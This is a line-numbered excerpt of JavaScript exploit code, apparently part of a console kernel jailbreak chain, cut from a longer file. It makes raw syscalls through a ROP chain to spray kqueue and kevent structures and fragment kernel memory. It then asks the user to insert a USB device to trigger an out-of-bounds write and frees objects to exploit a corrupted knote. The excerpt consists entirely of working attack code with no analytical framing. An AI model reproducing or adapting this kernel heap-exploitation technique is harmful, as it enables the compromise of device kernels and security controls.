| 544 | } |
| 545 | |
| 546 | var trigger_spray = function () { |
| 547 | |
| 548 | var NUM_KQUEUES = 0x1B0; |
| 549 | var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4); |
| 550 | //Make kqueues |
| 551 | { |
| 552 | for (var i = 0; i < NUM_KQUEUES; i++) { |
| 553 | chain.fcall(window.syscalls[362]); |
| 554 | chain.write_result4(kqueue_ptr.add32(0x4 * i)); |
| 555 | } |
| 556 | } |
| 557 | chain.run(); |
| 558 | var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES); |
| 559 | |
| 560 | var that_one_socket = chain.syscall(97, 2, 1, 0); |
| 561 | if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) { |
| 562 | alert("invalid socket"); |
| 563 | while (1); |
| 564 | } |
| 565 | |
| 566 | //Spray kevents |
| 567 | var kevent = p.malloc(0x20); |
| 568 | p.write8(kevent.add32(0x0), that_one_socket); |
| 569 | p.write4(kevent.add32(0x8), 0xFFFF + 0x010000); |
| 570 | p.write4(kevent.add32(0xC), 0x0); |
| 571 | p.write8(kevent.add32(0x10), 0x0); |
| 572 | p.write8(kevent.add32(0x18), 0x0); |
| 573 | // |
| 574 | { |
| 575 | for (var i = 0; i < NUM_KQUEUES; i++) { |
| 576 | chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0); |
| 577 | } |
| 578 | } |
| 579 | chain.run(); |
| 580 | |
| 581 | //Fragment memory |
| 582 | { |
| 583 | for (var i = 18; i < NUM_KQUEUES; i += 2) { |
| 584 | chain.fcall(window.syscalls[6], kqueues[i]); |
| 585 | } |
| 586 | } |
| 587 | chain.run(); |
| 588 | |
| 589 | //Trigger OOB |
| 590 | |
| 591 | //Trigger OOB |
| 592 | alert("Insert the USB now and Press OK after seeing the pop-up notification."); |
| 593 | |
| 594 | //ESP8266 enable usb - stooged |
| 595 | |
| 596 | |
| 597 | //Trigger corrupt knote |
| 598 | { |
| 599 | for (var i = 1; i < NUM_KQUEUES; i += 2) { |
| 600 | chain.fcall(window.syscalls[6], kqueues[i]); |
| 601 | } |
| 602 | } |
| 603 | chain.run(); |